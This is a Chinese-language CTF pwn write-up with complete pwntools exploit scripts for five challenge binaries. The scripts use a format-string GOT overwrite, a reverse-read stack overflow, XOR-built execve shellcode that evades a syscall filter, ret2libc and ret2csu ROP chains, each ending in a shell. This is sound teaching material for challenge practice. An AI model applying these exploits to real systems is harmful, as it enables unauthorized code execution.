EZ_fmt

查看 vuln 函数

vuln 函数

很经典的格式化字符串,首先确定 offset 为 8

确定偏移

根据程序,我们有三次格式化字符串的机会

  • 第一次泄露 libc
  • 第二次改 printf GOT 表地址为 system
  • 第三次输入为 sh,构造出 printf(buf)=system(sh) 即可

EXP 如下

python

from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./chal')
flag = 0
if flag:
    p = remote('ip', port)
else:
    p = process("./")


def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()


def leak(name, addr): return log.success(name+"--->"+hex(addr))


sla(b': \n', b'%19$p')
ru(b'0x')
libc.address = int(rc(12), 16) - 0x29d90
leak("libc", libc.address)

low = libc.sym['system'] & 0xff
high = (libc.sym['system'] >> 8) & 0xffff
payload = b'%' + str(low).encode() + b'c%12$hhn'
payload += b'%' + str(high - low).encode() + b'c%13$hn'
payload = payload.ljust(0x20, b'a')
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1)


sa(b': \n', payload)

sla(b': \n', b'  sh;')
# gdb.attach(p)
p.interactive()

Inverted World

题目分析

checksec 之后发现未开启 pie,开启了 Canary.

C

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF
  _BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF

  *(_QWORD *)&v5[9] = __readfsqword(0x28u);
  init(argc, argv, envp);
  table();
  write(0, "root@AkyOI-VM:~# ", 0x12uLL);
  read(0, v5, 0x512uLL);  // 这里实际是自定义的 _read 函数,实现和 read 函数相反方向的输入
  write(1, buf, 0x100uLL);
  puts(byte_402509);
  puts("??? What's wrong with the terminal?");
  return 0;
}

main 函数的 read 存在栈溢出,但是这个 read 函数是自定义的(源码中命名函数名为 _read 来实现的)。

_read 实现的是和正常 read 相反方向进行输入,我们这里输入的长度 0x512 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。

反向输入 sh 即可执行 system("sh") 拿到 shell.

关于 Canary

因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.

EXP

python

from pwn import*

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

p=remote('???.???.???.???', ?????)

payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()

Bad Asm

程序过滤 syscall / sysenter / int 0x80 的汇编指令的机器码。

strcpy 限制了 shellcode 的机器码中不能出现 0x00.

开启的可执行的段具有写的权限,用异或搓出来 syscall 的机器码之后用 mov 写入到 shellcode 后面,中间用 nop 连接一下就行了。

由于程序清空了 rsp rbp 寄存器,我们需要恢复一下 rsp 的值,任意一个可读写的段即可,否则 push 操作会寄掉。

可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 read 的 syscall,利用 read 在旧的 shellcode 后面插入 execve("/bin/sh", 0, 0) 的 shellcode,第二次输入的 payload 中 0x42 个 a 的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。

恢复 rsp 的作用是为了能够正常执行 push pop 指令,这里 push pop 指令位于 shellcraft.sh() 生成的 shellcode 中 。否则其生成的 shellcode 无法正常执行。

python

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。

mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器

mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx  ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。

xor rdi, rdi
xor rax, rax   ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。

pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()

除了异或的方法,我们可以用另一种方法布置 syscall 的机器码。

题目检查 syscall 的时候采用的方法是检测相邻两个字节,所以我们可以将两个字节分别用一个汇编指令写入到内存中,比如用 mov,这样我们就可以将其机器码 0xf 0x5 拆开,而不是连续的字节,这样也可以通过检查。

python

mov byte ptr [r8 + 0x17], 0xf
mov byte ptr [r8 + 0x18], 0x5

最后保证控制执行流执行到写入的 0f05 那里就行了。

下面的 EXP 中直接异或搓了一个 execve("/bin/sh", 0, 0),这样也是可以的。

python

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi       ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax  ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。

mov rdi, rsp   ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()

除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp 即可。由于这种方法我们并不依赖 nop 指令进行连接,在送 Payload 的时候可以去掉 ljust 了。

python

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi       ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov rdi, rsp   ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; //设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx       ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''

p.sendafter("Input your Code :", asm(shellcode))

p.interactive()

在把 /bin/sh\x00 push 到栈上面的时候,我们为了清除最后的 0x00,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 /bin///shshellcraft.sh() 生成的 shellcode 采用的就是这种方法。

按照这种方法更改的 shellcode,也是可以拿到 shell 的。

python

shellcode='''
; // 目标: 执行 execve("/bin///sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop

push 0x68
mov rax, 0x732f2f2f6e69622f
push rax       ; // 将 '/bin///sh' push 到栈上面,最后一个字符 h 是第 6 行 push 的,高位默认填充为 0,此时就不用异或了

mov rdi, rsp   ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; // 设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx       ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''

ez_game

func 函数

明显的栈溢出且没有后门函数

再 checksec 一下,没有开启 pie

checksec 的结果

直接打 ret2libc(但是得进行栈对齐)

  1. 先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回 main 函数进行第二次溢出,实现 getshell
  2. 构建 system("/bin/sh") 取 shell

提示

可以用 ret 地址进行栈对齐

EXP:

python

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

ifremote = 0
if ifremote == 1:
    io = remote('0.0.0.0', 9999)
else:
    io = process('./attachment')

elf = ELF('./attachment')
# libc=ELF("./libc-2.31.so")
libc = elf.libc

# gdb.attach(io)
# pause()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
ret_addr = 0x0000000000400509

payload = b'a'*0x58+p64(0x0000000000400783)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.sendline(payload)
io.recvuntil(b'\x0a')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr======================>", hex(puts_addr))

libc_base = puts_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b45bd

payload = b'a'*0x58+p64(0x0000000000400783)+p64(bin_sh_addr)+p64(ret_addr)+p64(system_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.send(payload)

io.interactive()

My_GBC!!!!!

先将程序拖入 IDA 分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  initial(argc, argv, envp);
  write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL);
  len = read(0, buf, 0x500uLL);
  write(1, "Original: ", 0xBuLL);
  write(1, buf, len);
  write(1, "\n", 1uLL);
  encrypt(buf, (unsigned __int8)key, (unsigned int)len);
  write(1, "Encrypted: ", 0xCuLL);
  write(1, buf, len);
  write(1, "\n", 1uLL);
  return 0;
}

发现存在一个简单的栈溢出,并且输入的数据经过了某种加密处理,异或后左移

__int64 __fastcall encrypt(__int64 a1, char a2, int a3)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    *(_BYTE *)((int)i + a1) ^= a2;
    *(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3);
  }
  return result;
}

运行程序后发现,栈溢出时,rdx 寄存器值为 1,而程序中能利用的函数 read write 的三参都是长度,这对我们利用十分不利,因此我们选择 ret2csu

ret2csu

这是 csu 的代码片段,第一段代码能将 r12 r13 r14 分别 mov 到 rdi rsi rdx,这样我们便能控制 rdx,即控制函数的三参,并且后面还有 call [r15+rbx*8],能控制程序的走向;第二段代码则是一长串的 pop,配合上述代码,即可达到 ROP,控制程序流程

需要注意的是,call 后面有 add rbx, 1; cmp rbp, rbx; jnz …,我们需要控制 rbx = 0 rbp = 1

对于加密函数,异或和左移都是可逆运算,我们只需对我们输入的内容先右移后异或 0x5A 即可

python

#!/usr/bin/env python3
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
def uu64(x): return u64(x.ljust(8, b'\x00'))
def s(x): return p.send(x)
def sa(x, y): return p.sendafter(x, y)
def sl(x): return p.sendline(x)
def sla(x, y): return p.sendlineafter(x, y)
def r(x): return p.recv(x)
def ru(x): return p.recvuntil(x)


k = 1
if k:
    addr = ''
    host = addr.split(':')
    p = remote(host[0], host[1])
else:
    p = process('./My_GBC!!!!!')
elf = ELF('./My_GBC!!!!!')
libc = ELF('./libc.so.6')


def debug():
    gdb.attach(p, 'b *0x401399\nc\n')


def ror(val, n):
    return ((val >> n) | (val << (8 - n))) & 0xFF


def decrypt(data: bytes, key: int):
    decrypted_data = bytearray()
    for byte in data:
        byte = ror(byte, 3)
        byte ^= key
        decrypted_data.append(byte)
    return decrypted_data


def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1):
    r12 = arg1
    r13 = arg2
    r14 = arg3
    r15 = func
    payload = p64(0x4013AA)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload


def csu_2():
    payload = p64(0x401390)
    return payload


add_rsp_8_ret = 0x401016
ret = 0x40101a
payload = b'a' * 0x18 + csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
payload += csu_1(0, 0, 0, 0x404098) + csu_2() + p64(ret)
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
# debug()
ru(b'Input something:')
s(decrypt(payload, 90))

libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}")

payload = p64(libc_base + libc.sym.system + 0x0) + p64(add_rsp_8_ret) + b'/bin/sh\x00'
s(payload)

p.interactive()

admin

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注